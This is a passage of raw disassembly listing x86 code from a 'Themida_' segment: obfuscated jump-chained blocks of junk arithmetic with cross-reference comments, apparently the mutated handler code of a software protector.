[esp], edi jmp loc_55DB72 ; --------------------------------------------------------------------------- loc_56AA45: ; CODE XREF: Themida_:0055E421j mov ebx, 94F63385h xor edi, ebx jmp loc_56ED0A ; --------------------------------------------------------------------------- loc_56AA51: ; CODE XREF: Themida_:0055DEA3j pop ecx xchg eax, [esp] jmp loc_5715A5 ; --------------------------------------------------------------------------- loc_56AA5A: ; CODE XREF: Themida_:005680E7j inc cl jmp loc_5693FE ; --------------------------------------------------------------------------- loc_56AA61: ; CODE XREF: Themida_:0056696Aj add esp, 4 sub ebp, 7223780Fh jmp loc_5636BC ; --------------------------------------------------------------------------- loc_56AA72: ; CODE XREF: Themida_:00571537j push ebx mov ebx, 75484780h push 64A3h mov [esp], edx mov edx, 3C2632D8h sub [esp+8], edx push dword ptr [esp] jmp loc_56F470 ; --------------------------------------------------------------------------- loc_56AA91: ; CODE XREF: Themida_:0055F6E2j push ecx mov ecx, 6B7368BBh push 2925h mov [esp], edx mov edx, 34A07D0Dh xor edx, 52655C8Ch add ecx, 600D4FE7h add ecx, edx sub ecx, 600D4FE7h jmp loc_565656 ; --------------------------------------------------------------------------- loc_56AABD: ; CODE XREF: Themida_:0056D00Aj mov esp, [esp] jmp loc_56E1E9 ; --------------------------------------------------------------------------- loc_56AAC5: ; CODE XREF: Themida_:0057029Aj pop ecx jmp loc_572721 ; --------------------------------------------------------------------------- loc_56AACB: ; CODE XREF: Themida_:00568BA5j pop ebp jmp loc_55DAD8 ; --------------------------------------------------------------------------- loc_56AAD1: ; CODE XREF: Themida_:0055FDFBj add ebp, 10093708h jmp loc_5672AA ; --------------------------------------------------------------------------- loc_56AADC: ; CODE XREF: Themida_:0055FBAFj and eax, esi jmp loc_56E880 ; --------------------------------------------------------------------------- loc_56AAE3: ; CODE XREF: Themida_:0055DF03j mov edi, 56975B3Bh not edi and edi, 41DA4E62h add edi, 42154565h and edi, 4B563B41h jmp loc_56BD9D ; --------------------------------------------------------------------------- loc_56AB01: ; CODE XREF: Themida_:00560A33j push ebp push ebx jmp loc_55DC11 ; --------------------------------------------------------------------------- loc_56AB08: ; CODE XREF: Themida_:0057060Bj add edi, eax mov eax, [esp] add esp, 4 jmp loc_569BC1 ; --------------------------------------------------------------------------- loc_56AB18: ; CODE XREF: Themida_:005690E8j push ebp mov ebp, 0E6C1601h jmp loc_5694CC ; --------------------------------------------------------------------------- loc_56AB23: ; CODE XREF: Themida_:00561485j pop edi sub eax, ebp pop ebp add eax, 17304A37h sub esp, 4 mov [esp], edx push 41E6h mov [esp], esi push 49DC7142h jmp loc_55FB7A ; --------------------------------------------------------------------------- loc_56AB47: ; CODE XREF: Themida_:00564ED1j add esp, 4 mov eax, esi mov esi, [esp] push edi mov edi, esp sub esp, 4 mov [esp], esi push ecx mov ecx, 4BC17352h jmp loc_55FA66 ; --------------------------------------------------------------------------- loc_56AB69: ; CODE XREF: Themida_:005717E6j add eax, ebp pop ebp jmp loc_562AA9 ; --------------------------------------------------------------------------- loc_56AB71: ; CODE XREF: Themida_:0056F833j add ebx, esi mov esi, [esp] add esp, 4 jmp loc_563941 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_56A8A5 ; --------------------------------------------------------------------------- loc_56AB8C: ; CODE XREF: Themida_:005695E2j mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56ABB2: ; CODE XREF: Themida_:0055F0F2j xor eax, ebx pop ebx and ebx, eax pop eax push ecx mov ecx, 4D5C0113h jmp loc_56F570 ; --------------------------------------------------------------------------- loc_56ABC3: ; CODE XREF: Themida_:005627C3j mov esp, [esp] push 3148h mov [esp], esi push esp pop esi sub esp, 4 mov [esp], ecx push edi mov edi, 2E4E52C6h inc edi xor edi, 6B6932D5h sub edi, 4527600Eh jmp loc_55F549 ; --------------------------------------------------------------------------- loc_56ABEE: ; CODE XREF: Themida_:00571D6Fj sub bl, al push 7EEh mov [esp], ecx mov ch, 0F2h xor ch, 20h and ch, 94h neg ch xor ch, 0B0h push 68F2h mov [esp], edx mov dh, 10h and dh, 69h and dh, 16h sub dh, 41h sub ch, dh pop edx add bl, ch mov ecx, [esp] add esp, 4 sub bl, 0C3h sub esp, 4 mov [esp], ecx mov cl, 0EEh xor cl, 80h push cx not byte ptr [esp] jmp loc_5652EE ; --------------------------------------------------------------------------- loc_56AC3E: ; CODE XREF: Themida_:0055E7DBj push edx jmp loc_5677B8 ; --------------------------------------------------------------------------- loc_56AC44: ; CODE XREF: Themida_:00569C51j or eax, 399827A7h jmp loc_56B913 ; --------------------------------------------------------------------------- loc_56AC4E: ; CODE XREF: Themida_:00563ADEj mov al, 88h xor al, 48h dec al dec al jmp loc_568A7E ; --------------------------------------------------------------------------- loc_56AC5B: ; CODE XREF: Themida_:0057135Cj add ebx, 4 sub esp, 4 mov [esp], ecx jmp loc_569C2E ; --------------------------------------------------------------------------- loc_56AC6F: ; CODE XREF: Themida_:005666D9j sub eax, 74E32866h pop edi push esi push ebx push 3F310EB4h jmp loc_56FA92 ; --------------------------------------------------------------------------- loc_56AC81: ; CODE XREF: Themida_:00571A08j push dword ptr [esp] jmp loc_56591C ; --------------------------------------------------------------------------- loc_56AC89: ; CODE XREF: Themida_:00560514j add esi, 857F8630h add eax, 32161F4Ah sub eax, esi sub eax, 32161F4Ah push dword ptr [esp] pop esi jmp loc_56CFE5 ; --------------------------------------------------------------------------- loc_56ACA4: ; CODE XREF: Themida_:00560421j push eax jmp loc_5658B2 ; --------------------------------------------------------------------------- loc_56ACAA: ; CODE XREF: Themida_:0056D565j pop edx mov esi, [esp] push 4B8Eh mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_562D66 ; --------------------------------------------------------------------------- loc_56ACCE: ; CODE XREF: Themida_:0056EEFBj mov [esp], ecx push 1098h mov [esp], edi mov edi, 1CAE5575h xor edi, 4CB37F5Ah xor edi, 415F2A48h sub edi, 432F7A9Fh sub esp, 4 mov [esp], ebx mov ebx, 104C1C84h push edx mov edx, 3F9521D2h and ebx, edx pop edx inc ebx and ebx, 5C026989h add ebx, 578A457Ah jmp loc_55F250 ; --------------------------------------------------------------------------- loc_56AD16: ; CODE XREF: Themida_:00569821j add edx, 46A87B2Ah add edx, ebx sub edx, 46A87B2Ah mov ebx, [esp] add esp, 4 push ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] jmp loc_56724C ; --------------------------------------------------------------------------- loc_56AD3E: ; CODE XREF: Themida_:005690D2j pop ecx and edx, 4DC01782h sub edx, 5507043Eh push ebx push 5983490Ah pop ebx jmp loc_5652BC ; --------------------------------------------------------------------------- loc_56AD57: ; CODE XREF: Themida_:0055F798j pop ecx shr ecx, 8 push edi mov edi, 102B25B8h add edi, 407A294Fh jmp loc_56E56D ; --------------------------------------------------------------------------- loc_56AD6C: ; CODE XREF: Themida_:0055EACCj push 2A70h mov [esp], edx mov edx, 36904558h sub ebp, edx pop edx xchg ebx, ebp xchg esi, ebx not esi xchg esi, ebx push ebp push ebx pop ebp pop ebx xchg edx, ebp dec edx xchg edx, ebp jmp loc_564361 ; --------------------------------------------------------------------------- loc_56AD92: ; CODE XREF: Themida_:0056F57Bj pop esi push ebx push 1D8Fh mov [esp], eax push 0AEC7DC6h jmp loc_56723E ; --------------------------------------------------------------------------- loc_56ADA6: ; CODE XREF: Themida_:0056F93Fj add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 43C8h mov [esp], edi mov edi, esp add edi, 4 jmp loc_561B42 ; --------------------------------------------------------------------------- loc_56ADC7: ; CODE XREF: Themida_:0056806Cj mov [esp], edx push 205Fh mov [esp], esp jmp loc_56A8B1 ; --------------------------------------------------------------------------- loc_56ADD7: ; CODE XREF: Themida_:00565C54j mov [esp], esi jmp loc_5669D0 ; --------------------------------------------------------------------------- loc_56ADDF: ; CODE XREF: Themida_:00560784j push ecx mov ecx, esp jmp loc_56FF7B ; --------------------------------------------------------------------------- loc_56ADE7: ; CODE XREF: Themida_:0056FF0Ej neg esi or esi, 4FA4513Eh sub esi, 674EBh or ebp, esi pop esi push esi mov esi, 29D34B16h shl esi, 2 or esi, 9E669D8h xor esi, 0A4C740C7h xor ebp, esi jmp loc_568DFC ; --------------------------------------------------------------------------- loc_56AE14: ; CODE XREF: Themida_:00560C13j mov cx, [esp] push 5AC0h mov [esp], edx sub esp, 4 mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx push dword ptr [esp] pop edx push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp add edx, 4 add edx, 2 push 18DCh mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 7D5Ah mov [esp], ecx jmp loc_56C0CE ; --------------------------------------------------------------------------- loc_56AE7D: ; CODE XREF: Themida_:005659A0j mov ecx, 9232671h sub esp, 4 mov [esp], ecx xor dword ptr [esp], 43AD5407h jmp loc_56A5A4 ; --------------------------------------------------------------------------- loc_56AE94: ; CODE XREF: Themida_:0056B0D0j or ebp, 77914CB0h xor ebp, 51E5678h xor ebp, 0F03B24CCh jmp loc_572202 ; --------------------------------------------------------------------------- loc_56AEAB: ; CODE XREF: Themida_:00560A44j add esi, 4 jmp loc_563613 ; --------------------------------------------------------------------------- loc_56AEB6: ; CODE XREF: Themida_:0056B14Cj mov ecx, esp jmp loc_564617 ; --------------------------------------------------------------------------- loc_56AEBD: ; CODE XREF: Themida_:0055E1A8j shl esi, 2 xor esi, 22A9683Bh push edi jmp loc_5600C8 ; --------------------------------------------------------------------------- lodsb xor al, bl push edx jmp loc_560339 ; --------------------------------------------------------------------------- loc_56AED5: ; CODE XREF: Themida_:0056FB97j push edi mov edi, 56A50ECCh jmp loc_55F723 ; --------------------------------------------------------------------------- loc_56AEE0: ; CODE XREF: Themida_:0056BC1Ej xor dword ptr [ecx], 0B2BCF87Dh mov ecx, [esp] jmp loc_563291 ; --------------------------------------------------------------------------- loc_56AEEE: ; CODE XREF: Themida_:00566332j mov edi, 17424000h sub ebx, edi mov edi, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_56D185 ; --------------------------------------------------------------------------- loc_56AF0C: ; CODE XREF: Themida_:00563AC4j push edx mov edx, 4 jmp loc_55E8DD ; --------------------------------------------------------------------------- loc_56AF17: ; CODE XREF: Themida_:00571DF0j xor [esp], ecx xor ecx, [esp] pop esp push dword ptr [edi+eax*4] jmp loc_55FE77 ; --------------------------------------------------------------------------- loc_56AF26: ; CODE XREF: Themida_:005666FCj add edx, 4 add edx, 4 jmp loc_56E35D ; --------------------------------------------------------------------------- loc_56AF34: ; CODE XREF: Themida_:0055E41Aj mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56AF40: ; CODE XREF: Themida_:005680FDj pop edx pop ebx push ecx mov ch, al jmp loc_56C34B ; --------------------------------------------------------------------------- loc_56AF4A: ; CODE XREF: Themida_:0055F31Dj sub ecx, 566204E2h add ecx, edx add ecx, 566204E2h jmp loc_566E47 ; --------------------------------------------------------------------------- loc_56AF5D: ; CODE XREF: Themida_:00564A17j pop edx add eax, edi pop edi push ebx jmp loc_562EAA ; --------------------------------------------------------------------------- loc_56AF67: ; CODE XREF: Themida_:0056289Cj sub bl, 8Bh jmp loc_569DE9 ; --------------------------------------------------------------------------- loc_56AF6F: ; CODE XREF: Themida_:00567065j mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_56312F ; --------------------------------------------------------------------------- loc_56AF83: ; CODE XREF: Themida_:00563EF1j push edx mov edx, 4 add edi, edx jmp loc_55E531 ; --------------------------------------------------------------------------- loc_56AF90: ; CODE XREF: Themida_:0056EEBCj push 753Bh mov [esp], ecx push eax mov al, 26h mov ch, 0B9h xor ch, al pop eax sub al, 0CCh sub al, ch push bx jmp loc_560FB1 ; --------------------------------------------------------------------------- loc_56AFAB: ; CODE XREF: Themida_:00564429j sub esp, 4 mov [esp], ecx jmp loc_56063A ; --------------------------------------------------------------------------- loc_56AFB6: ; CODE XREF: Themida_:00565668j add ecx, ebp push ebx mov ebx, 80630A1h add ecx, ebx jmp loc_56F762 ; --------------------------------------------------------------------------- loc_56AFC5: ; CODE XREF: Themida_:0056A049j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push 2F7Fh jmp loc_57181E ; --------------------------------------------------------------------------- loc_56AFDB: ; CODE XREF: Themida_:0056F8DAj mov esp, [esp] jmp loc_56819A ; --------------------------------------------------------------------------- loc_56AFE3: ; CODE XREF: Themida_:0056D1D1j dec eax sub eax, 0C862DB95h and ecx, eax jmp loc_56C26A ; --------------------------------------------------------------------------- loc_56AFF0: ; CODE XREF: Themida_:005697DEj mov edx, [esp] add esp, 4 xor bl, al push eax mov eax, esp push 479Ch mov [esp], ebp mov ebp, 4 jmp loc_56DCA6 ; --------------------------------------------------------------------------- loc_56B00D: ; CODE XREF: Themida_:00560EC8j sub esp, 4 mov [esp], esi jmp loc_55E8A5 ; --------------------------------------------------------------------------- loc_56B01B: ; CODE XREF: Themida_:0056F7D6j pop edx mov edi, [esp] add esp, 4 push ebx inc dword ptr [esp] mov ebx, [esp] add esp, 4 push eax mov eax, 29165557h xor ebx, eax pop eax shl ebx, 1 xor ebx, 77234B8h push eax mov eax, 6B07280Ah inc eax shl eax, 5 add eax, 4B15AF1Ch xor ebx, eax jmp loc_5625C0 ; --------------------------------------------------------------------------- loc_56B053: ; CODE XREF: Themida_:00566486j add al, cl pop cx sub al, 62h and cl, al pop eax inc cl or cl, 75h shr cl, 1 push eax jmp loc_569F63 ; --------------------------------------------------------------------------- mov cx, [esp] push 1ED0h mov [esp], eax mov eax, esp jmp loc_570EA1 ; --------------------------------------------------------------------------- loc_56B07C: ; CODE XREF: Themida_:00561CDCj xor edi, ebx xor ebx, edi xor edi, ebx sub ebx, 1 push 4F3Fh mov [esp], edi sub esp, 4 mov [esp], ebx mov edi, [esp] add esp, 4 mov ebx, [esp] add esp, 4 sub edi, 1 push eax jmp loc_560286 ; --------------------------------------------------------------------------- loc_56B0AE: ; CODE XREF: Themida_:00566C79j add bl, 2Dh mov cx, [esp] jmp loc_566C28 ; --------------------------------------------------------------------------- loc_56B0BA: ; CODE XREF: Themida_:005661DFj neg ecx or ecx, 42A620F1h push ebp mov ebp, 5F2C2CEBh neg ebp add ebp, 952305Eh jmp loc_56AE94 ; --------------------------------------------------------------------------- loc_56B0D5: ; CODE XREF: Themida_:0055E5DFj mov [esp], bx sub esp, 4 mov [esp], edx mov dl, 37h mov bh, dl pop edx push cx jmp loc_572191 ; --------------------------------------------------------------------------- loc_56B0EB: ; CODE XREF: Themida_:0056675Ej xchg ebx, [esp] pop esp mov [esp], edx push eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56B0F9: ; CODE XREF: Themida_:005712E0j mov eax, 4 add edx, eax pop eax sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], ecx mov ecx, 2000000h push eax mov eax, esp sub esp, 4 jmp loc_570A1A ; --------------------------------------------------------------------------- loc_56B12A: ; CODE XREF: Themida_:00561495j xor esi, 58104108h jmp loc_56B2E6 ; --------------------------------------------------------------------------- loc_56B135: ; CODE XREF: Themida_:0056C1C3j or [edi+1Ch], ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp loc_56B14B: ; CODE XREF: Themida_:00566B64j push ecx jmp loc_56AEB6 ; --------------------------------------------------------------------------- loc_56B151: ; CODE XREF: Themida_:0056DE37j shl eax, 2 xor eax, 0D3B1D4BFh push edx jmp loc_56E41F ; --------------------------------------------------------------------------- loc_56B15F: ; CODE XREF: Themida_:0056D3ABj dec ah neg ah sub ah, 46h push small 5119h mov [esp], dx mov dh, 0E6h add ah, dh pop dx mov dh, ah pop eax add al, 1Dh add al, 26h add al, dh sub al, 26h sub al, 1Dh jmp loc_56D6E3 ; --------------------------------------------------------------------------- loc_56B186: ; CODE XREF: Themida_:0056D611j xchg eax, [esp] pop esp sub esp, 4 jmp loc_56D1C4 ; --------------------------------------------------------------------------- loc_56B192: ; CODE XREF: Themida_:00562D6Cj add esi, edi add esi, 7F11168Bh jmp loc_56FDE7 ; --------------------------------------------------------------------------- loc_56B19F: ; CODE XREF: Themida_:00562C5Bj xor eax, ecx jmp loc_5634D2 ; --------------------------------------------------------------------------- loc_56B1A6: ; CODE XREF: Themida_:00567DA9j mov ebx, [esp] add esp, 4 push edi jmp loc_55E948 ; --------------------------------------------------------------------------- loc_56B1B5: ; CODE XREF: Themida_:0056F728j pop ecx push ebx mov ebx, 72020D90h jmp loc_55F3FE ; --------------------------------------------------------------------------- loc_56B1C1: ; CODE XREF: Themida_:005602F1j sub [esp+8], edx jmp loc_5615CC ; --------------------------------------------------------------------------- loc_56B1CA: ; CODE XREF: Themida_:00568CC5j mov ecx, eax pop eax jmp loc_57194A ; --------------------------------------------------------------------------- loc_56B1D2: ; CODE XREF: Themida_:00561BB6j add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ebp push 0B0Eh mov [esp], esi jmp loc_565172 ; --------------------------------------------------------------------------- loc_56B1EF: ; CODE XREF: Themida_:005677DEj sub dword ptr [esp+4], 1AB2CB4h jmp loc_566BC9 ; --------------------------------------------------------------------------- loc_56B1FC: ; CODE XREF: Themida_:00567B20j mov esp, [esp] jmp loc_56F4CC ; --------------------------------------------------------------------------- loc_56B204: ; CODE XREF: Themida_:00562CCBj add ebx, 6DF30106h shl ebx, 1 jmp loc_564CA6 ; --------------------------------------------------------------------------- loc_56B211: ; CODE XREF: Themida_:0056D65Ej sub dh, cl jmp loc_567E1C ; --------------------------------------------------------------------------- loc_56B218: ; CODE XREF: Themida_:005670C7j pop edx jmp loc_56D817 ; --------------------------------------------------------------------------- loc_56B21E: ; CODE XREF: Themida_:005682CDj sub dh, 35h jmp loc_567943 ; --------------------------------------------------------------------------- loc_56B226: ; CODE XREF: Themida_:0056811Dj pop edi push ecx push esp pop ecx push edx jmp loc_56A04E ; --------------------------------------------------------------------------- loc_56B230: ; CODE XREF: Themida_:0056A6B9j add esp, 4 sub edx, 0B0089F56h jmp loc_56285A ; --------------------------------------------------------------------------- loc_56B241: ; CODE XREF: Themida_:0055F1C9j xor eax, 5FB35FDh mov ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56858C ; --------------------------------------------------------------------------- loc_56B256: ; CODE XREF: Themida_:005658B4j push ebp mov ebp, 16EB505Bh neg ebp inc ebp neg ebp and ebp, 3E212A74h and ebp, 5ECD57B2h sub ebp, 1601000Ch add eax, ebp pop ebp sub eax, 4 jmp loc_56A4E7 ; --------------------------------------------------------------------------- loc_56B280: ; CODE XREF: Themida_:00570644j mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp] pop eax add esp, 4 push ebx jmp loc_561D8E ; --------------------------------------------------------------------------- loc_56B297: ; CODE XREF: Themida_:0057126Bj add edx, 1A160666h mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp xchg bx, dx xor [esp], dx xor dx, [esp] xor [esp], dx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56B2BB: ; CODE XREF: Themida_:0056A907j push dword ptr [esp+4] jmp loc_5649C8 ; --------------------------------------------------------------------------- loc_56B2C4: ; CODE XREF: Themida_:0056D13Bj push ebp mov ebp, 40A5213Bh push ecx mov ecx, 7DC77247h and ecx, 47CA2B89h shr ecx, 7 neg ecx or ecx, 0BF485Eh jmp loc_571056 ; --------------------------------------------------------------------------- loc_56B2E6: ; CODE XREF: Themida_:0056B130j add esi, 3D5917FAh or esi, 3D137CF6h push eax mov eax, 282E6068h neg eax jmp loc_55DF7B ; --------------------------------------------------------------------------- loc_56B2FF: ; CODE XREF: Themida_:0056413Aj pop ebx sub esp, 4 mov [esp], edx push 4 pop edx sub ebx, 7ACB1601h add ebx, edx add ebx, 7ACB1601h pop edx sub esp, 4 mov [esp], eax mov eax, 2 push eax mov eax, 55163F36h jmp loc_56E378 ; --------------------------------------------------------------------------- loc_56B337: ; CODE XREF: Themida_:005693DEj shl edx, 8 shr edx, 1 xor edx, 50C653E3h jmp loc_568102 ; --------------------------------------------------------------------------- loc_56B347: ; CODE XREF: Themida_:0056048Aj xchg eax, [esp] pop esp push ebx mov bh, 0D8h shr bh, 6 sub esp, 2 jmp loc_55DD64 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 jmp loc_570FBC ; --------------------------------------------------------------------------- loc_56B36A: ; CODE XREF: Themida_:0055F4B8j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx push esp mov ebx, [esp] add esp, 4 push 2F65h mov [esp], eax jmp loc_567335 ; --------------------------------------------------------------------------- loc_56B392: ; CODE XREF: Themida_:0055EFFEj xor ebx, [esp] mov esp, [esp] xchg eax, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56B3A7: ; CODE XREF: Themida_:00563D83j xor bh, 0AAh mov dh, bh mov ebx, [esp] add esp, 4 add al, dh jmp loc_56E0A7 ; --------------------------------------------------------------------------- loc_56B3BC: ; CODE XREF: Themida_:0055DF86j push dword ptr [esp] pop eax push 1C5Fh jmp loc_56F54C ; --------------------------------------------------------------------------- loc_56B3CA: ; CODE XREF: Themida_:005712FCj add ecx, eax pop eax xchg ecx, [esp] mov esp, [esp] shl dword ptr [esp], cl jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56B3DB: ; CODE XREF: Themida_:0056FFB4j xor ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop edx push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_56962D ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx jmp loc_566E39 ; --------------------------------------------------------------------------- loc_56B402: ; CODE XREF: Themida_:0056E89Dj pop ebx push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_563158 ; --------------------------------------------------------------------------- loc_56B414: ; CODE XREF: Themida_:0056D8B8j add esi, 228F32DFh add esi, 25004DFCh pop ecx push eax mov eax, 4 add esi, eax pop eax push esi push dword ptr [esp+4] jmp loc_56F679 ; --------------------------------------------------------------------------- loc_56B434: ; CODE XREF: Themida_:00563E6Dj push dword ptr [esp] pop eax jmp loc_570FE9 ; --------------------------------------------------------------------------- loc_56B43D: ; CODE XREF: Themida_:0056EEF0j inc edi shl edi, 5 jmp loc_56FAA7 ; --------------------------------------------------------------------------- loc_56B446: ; CODE XREF: Themida_:0056D0E2j push 675Fh mov [esp], edx not dword ptr [esp] pop edx jmp loc_56E27F ; --------------------------------------------------------------------------- loc_56B457: ; CODE XREF: Themida_:0056D61Aj pop esi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push ebx push esp pop ebx push eax mov eax, 4 add ebx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_569DA5 ; --------------------------------------------------------------------------- loc_56B47C: ; CODE XREF: Themida_:00571785j add esp, 4 jmp loc_56E4B4 ; --------------------------------------------------------------------------- loc_56B487: ; CODE XREF: Themida_:0056B4CAj sub ebx, edx add ebx, 68470388h add ebx, 30815578h push dword ptr [esp] pop edx add esp, 4 pop ecx xchg ebx, [esp] pop esp mov ax, [esp] push ebx jmp loc_55E837 ; --------------------------------------------------------------------------- loc_56B4AB: ; CODE XREF: Themida_:005620F8j pop eax xchg edi, [esp] pop esp mov [esp], ebx jmp loc_56A8D7 ; --------------------------------------------------------------------------- loc_56B4B8: ; CODE XREF: Themida_:0057192Cj add edx, ecx pop ecx push ecx mov ecx, 30815578h sub ebx, ecx pop ecx sub ebx, 68470388h jmp loc_56B487 ; --------------------------------------------------------------------------- loc_56B4CF: ; CODE XREF: Themida_:005605C2j xor dh, 0EDh xor bl, dh pop edx shl bl, 3 shr bl, 4 xor bl, 8Eh mov dh, bl pop ebx jmp loc_56046F ; --------------------------------------------------------------------------- loc_56B4E6: ; CODE XREF: Themida_:00560247j xchg ebp, [esp] pop esp push esp pop dword ptr [esp] push 4F54h mov [esp], ebp jmp loc_56196C ; --------------------------------------------------------------------------- loc_56B4FB: ; CODE XREF: Themida_:00564356j xor [esp], ecx xor ecx, edi xor edi, ecx xor ecx, edi jmp loc_56F733 ; --------------------------------------------------------------------------- loc_56B509: ; CODE XREF: Themida_:00561177j dec bl push dx mov dl, 1 jmp loc_56EEB4 ; --------------------------------------------------------------------------- loc_56B514: ; CODE XREF: Themida_:0056F441j add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56B528: ; CODE XREF: Themida_:0056D827j push ebx push 65274EF0h pop ebx jmp loc_55F50B ; --------------------------------------------------------------------------- loc_56B534: ; CODE XREF: Themida_:00565289j mov [esp], ecx jmp loc_569D57 ; --------------------------------------------------------------------------- loc_56B53C: ; CODE XREF: Themida_:0055F71Ej mov esp, [esp] mov ax, [esp] push 4A43h mov [esp], esi push 3B9Fh mov [esp], esp jmp loc_560FFC ; --------------------------------------------------------------------------- loc_56B558: ; CODE XREF: Themida_:0055FDA0j sub esi, 7A3E214Dh push dword ptr [esp] pop edi push eax jmp loc_560B61 ; --------------------------------------------------------------------------- loc_56B568: ; CODE XREF: Themida_:0056F0B5j pop esi pop dword ptr [eax] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56B570: ; CODE XREF: Themida_:00561CFCj push ecx jmp loc_56FB14 ; --------------------------------------------------------------------------- loc_56B576: ; CODE XREF: Themida_:0056197Aj add dword ptr [esp+4], 316B77F9h add [esp+4], ebp push edx mov edx, 316B77F9h sub [esp+8], edx jmp loc_56FE7A ; --------------------------------------------------------------------------- loc_56B591: ; CODE XREF: Themida_:0056FD38j push eax mov eax, 5D753E7h or eax, 64A22326h shl eax, 5 add eax, 1 or eax, 51FC593Eh push edi mov edi, 77FD541Fh jmp loc_56258A ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_567DDC ; --------------------------------------------------------------------------- loc_56B5BD: ; CODE XREF: Themida_:0056948Aj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov cl, 28h jmp loc_56A455 ; --------------------------------------------------------------------------- loc_56B5D4: ; CODE XREF: Themida_:00566032j sub ebx, 4 push ebx jmp loc_56CC31 ; --------------------------------------------------------------------------- loc_56B5E0: ; CODE XREF: Themida_:0055EE2Fj mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push edx mov edx, 4 jmp loc_56CF14 ; --------------------------------------------------------------------------- loc_56B5F5: ; CODE XREF: Themida_:00566BC4j sub [esp+4], edi mov edi, [esp] add esp, 4 sub dword ptr [esp], 368576AEh push 74DAh mov [esp], esi jmp loc_56EBB9 ; --------------------------------------------------------------------------- loc_56B616: ; CODE XREF: Themida_:00561914j add edi, 12644C16h add edi, ecx sub edi, 12644C16h jmp loc_56E4E4 ; --------------------------------------------------------------------------- loc_56B629: ; CODE XREF: Themida_:00568103j mov ebp, 0FFFFFFFFh add edx, 1D9D0AD5h jmp loc_564F81 ; --------------------------------------------------------------------------- loc_56B639: ; CODE XREF: Themida_:0055E1B1j mov ebx, 30111384h push ebx xor dword ptr [esp], 97C6230h pop edi xor edi, 97C6230h pop ebx mov esi, 0B047AEFEh xor esi, edi pop edi add edi, esi pop esi and ecx, edi mov edi, [esp] jmp loc_570F60 ; --------------------------------------------------------------------------- loc_56B663: ; CODE XREF: Themida_:0056E8DDj push dword ptr [esp+4] mov edi, [esp] sub esp, 4 jmp loc_5687F2 ; --------------------------------------------------------------------------- loc_56B672: ; CODE XREF: Themida_:00566D38j add esp, 4 pop eax jmp loc_562AB4 ; --------------------------------------------------------------------------- loc_56B67B: ; CODE XREF: Themida_:0056C890j xor edi, ecx pop ecx shr edi, 3 not edi push ebp mov ebp, 2A271797h or ebp, 233E704Bh inc ebp jmp loc_56C895 ; --------------------------------------------------------------------------- loc_56B695: ; CODE XREF: Themida_:00560B5Cj mov eax, 4791786h dec eax push esi jmp loc_568B67 ; --------------------------------------------------------------------------- loc_56B6A1: ; CODE XREF: Themida_:005607E5j add cl, 0B3h sub al, 4 jmp loc_5680B7 ; --------------------------------------------------------------------------- loc_56B6AB: ; CODE XREF: Themida_:0056912Bj add eax, ecx pop ecx add eax, 4 jmp loc_56776B ; --------------------------------------------------------------------------- loc_56B6B8: ; CODE XREF: Themida_:00562C37j add esp, 4 push eax jmp loc_5725D0 ; --------------------------------------------------------------------------- loc_56B6C4: ; CODE XREF: Themida_:0055E014j push esp pop dword ptr [esp] push ecx push esi jmp loc_5605D4 ; --------------------------------------------------------------------------- loc_56B6CF: ; CODE XREF: Themida_:0056D952j push ebx mov ebx, 571048B4h shr ebx, 2 jmp loc_55E908 ; --------------------------------------------------------------------------- loc_56B6DD: ; CODE XREF: Themida_:00563EF9j sub bl, ch jmp loc_5617E6 ; --------------------------------------------------------------------------- loc_56B6E4: ; CODE XREF: Themida_:00563871j add eax, ebx jmp loc_562DBC ; --------------------------------------------------------------------------- loc_56B6EB: ; CODE XREF: Themida_:00560950j pop edi push small word ptr [eax] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56B6F4: ; CODE XREF: Themida_:00566B5Ej add eax, 4 xchg eax, [esp] jmp loc_56F3B2 ; --------------------------------------------------------------------------- loc_56B6FF: ; CODE XREF: Themida_:0056356Dj mov esi, esp add esi, 4 push ecx mov ecx, 4 jmp 